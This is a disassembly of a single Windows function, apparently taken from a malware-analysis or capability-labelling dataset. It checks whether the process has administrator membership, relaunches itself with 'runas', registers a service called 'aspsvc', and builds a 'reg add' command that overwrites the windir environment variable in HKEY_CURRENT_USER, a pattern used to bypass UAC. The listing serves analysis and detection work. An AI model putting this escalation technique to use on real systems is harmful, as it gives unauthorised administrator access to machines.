Function at 0x14006e260
Capabilities:
Create process on windows
Get token membership
Set registry value

Disassembly:
mov rax, rsp
push rbp
push rdi
push r14
lea rbp, [rax - 0x5f]
sub rsp, 0xf0
mov qword [rbp - 0x21], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rsi
mov rax, qword [0x1402e44c0]
xor rax, rsp
mov qword [rbp + 0x3f], rax
mov rsi, rdx
mov edi, ecx
xor r14d, r14d
mov dword [rbp - 0x49], r14d
call fcn.14006d8e0
test eax, eax
jne 0x14006e3ab
mov dword [rbp - 9], r14d
mov ebx, r14d
mov qword [rbp - 0x19], r14
mov dword [rbp - 0x11], ebx
mov word [rbp - 0xd], 0x500
lea rax, [rbp - 0x19]
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x48], r14d
mov dword [rsp + 0x40], r14d
mov dword [rsp + 0x38], r14d
mov dword [rsp + 0x30], r14d
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], r14d
mov r9d, 0x220
lea r8d, [r14 + 0x20]
mov dl, 2
lea rcx, [rbp - 0x11]
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x14006e312
lea r8, [rbp - 9]
mov rdx, qword [rbp - 0x19]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
test eax, eax
jne 0x14006e31a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
mov rcx, qword [rbp - 0x19]
test rcx, rcx
je 0x14006e32d
call qword [sym.imp.ADVAPI32.dll_FreeSid]
mov qword [rbp - 0x19], r14
test ebx, ebx
jne 0x14006e633
cmp dword [rbp - 9], r14d
je 0x14006e387
cmp edi, 1
je 0x14006e5b4
lea rax, str.aspsvc
mov qword [rbp + 0x1f], rax
lea rax, [0x140071510]
mov qword [rbp + 0x27], rax
mov qword [rbp + 0x2f], r14
mov qword [rbp + 0x37], r14
lea rcx, [rbp + 0x1f]
call qword [sym.imp.ADVAPI32.dll_StartServiceCtrlDispatcherA]
lea rcx, [0x1402edf80]
test eax, eax
je 0x14006e5f3
lea rdx, str.StartServiceCtrlDispatcher_Success
jmp 0x14006e5fa
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], r14
xor r9d, r9d
mov r8, qword [rsi]
lea rdx, str.runas
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
jmp 0x14006e607
cmp edi, 1
jne 0x14006e594
mov rdx, qword [rsi]
mov qword [rbp + 0x2f], r14
mov qword [rbp + 0x37], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1f], r14b
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rdx + r8], r14b
jne 0x14006e3d0
lea rcx, [rbp + 0x1f]
call fcn.140072990
nop
movdqa xmm0, xmmword [0x1402b6db0]
movdqu xmmword [rbp - 0x31], xmm0
mov byte [rbp - 0x41], 0
mov dword [rbp - 0x49], 1
mov rbx, qword [rbp + 0x2f]
lea rdx, [rbx + 0x3e]
cmp rdx, 0x10
jb 0x14006e416
lea rcx, [rbp - 0x41]
call fcn.14007ceb0
mov qword [rbp - 0x31], r14
mov r8d, 0x3e
lea rdx, str.reg_add_HKEY_CURRENT_USEREnvironment__v_windir__t_REG_SZ__d__
lea rcx, [rbp - 0x41]
call fcn.140072af0
lea rdx, [rbp + 0x1f]
cmp qword [rbp + 0x37], 0x10
cmovae rdx, qword [rbp + 0x1f]
mov r8, rbx
lea rcx, [rbp - 0x41]
call fcn.140072af0
mov r8d, 5
lea rdx, str.__t__
lea rcx, [rbp - 0x41]
call fcn.140072af0
mov qword [rbp + 0xf], r14
mov qword [rbp + 0x17], r14
movups xmm0, xmmword [rax]
movups xmmword [rbp - 1], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xf], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rbp - 0x29]
cmp rdx, 0x10
jb 0x14006e4bd
inc rdx
mov rcx, qword [rbp - 0x41]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006e4b8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14006e647
call fcn.1401c4e44
movdqa xmm0, xmmword [0x1402b6db0]
movdqu xmmword [rbp - 0x31], xmm0
mov byte [rbp - 0x41], 0
lea rdx, [rbp - 1]
cmp qword [rbp + 0x17], 0x10
cmovae rdx, qword [rbp - 1]
mov r8, qword [rbp + 0xf]
lea rcx, [0x1402edf80]
call fcn.1400800c0
mov rcx, rax
call fcn.14007c1e0
lea rcx, [rbp - 1]
cmp qword [rbp + 0x17], 0x10
cmovae rcx, qword [rbp - 1]
call fcn.1401f5608
nop
mov rdx, qword [rbp + 0x17]
cmp rdx, 0x10
jb 0x14006e543
inc rdx
mov rcx, qword [rbp - 1]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006e53e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14006e64d
call fcn.1401c4e44
mov qword [rbp + 0xf], r14
mov qword [rbp + 0x17], reloc.WS2_32.dll_ntohs
mov byte [rbp - 1], 0
mov rdx, qword [rbp + 0x37]
cmp rdx, 0x10
jb 0x14006e607
inc rdx
mov rcx, qword [rbp + 0x1f]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006e58d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14006e62d
call fcn.1401c4e44
jmp 0x14006e607
cmp edi, 3
jle 0x14006e5c0
lea rdx, str.start_install_service
lea rcx, [0x1402edf80]
call fcn.140078d30
mov rcx, rax
call fcn.14007c1e0
call fcn.1400716e0
call fcn.140071940
jmp 0x14006e607
lea rax, str.aspsvc
mov qword [rbp + 0x1f], rax
lea rax, [0x140071510]
mov qword [rbp + 0x27], rax
mov qword [rbp + 0x2f], r14
mov qword [rbp + 0x37], r14
lea rcx, [rbp + 0x1f]
call qword [sym.imp.ADVAPI32.dll_StartServiceCtrlDispatcherA]
test eax, eax
jne 0x14006e607
lea rcx, [0x1402edf80]
lea rdx, str.StartServiceCtrlDispatcher_Failed_
call fcn.140078d30
mov rcx, rax
call fcn.14007c1e0
xor eax, eax
mov rcx, qword [rbp + 0x3f]
xor rcx, rsp
call fcn.1401c4e20
lea r11, [rsp + 0xf0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
call fcn.1401f53bc
int3
mov dword [rbp - 0x49], ebx
lea rdx, [0x1402dc660]
lea rcx, [rbp - 0x49]
call fcn.1401e39f0
nop
call fcn.1401f53bc
nop
call fcn.1401f53bc
int3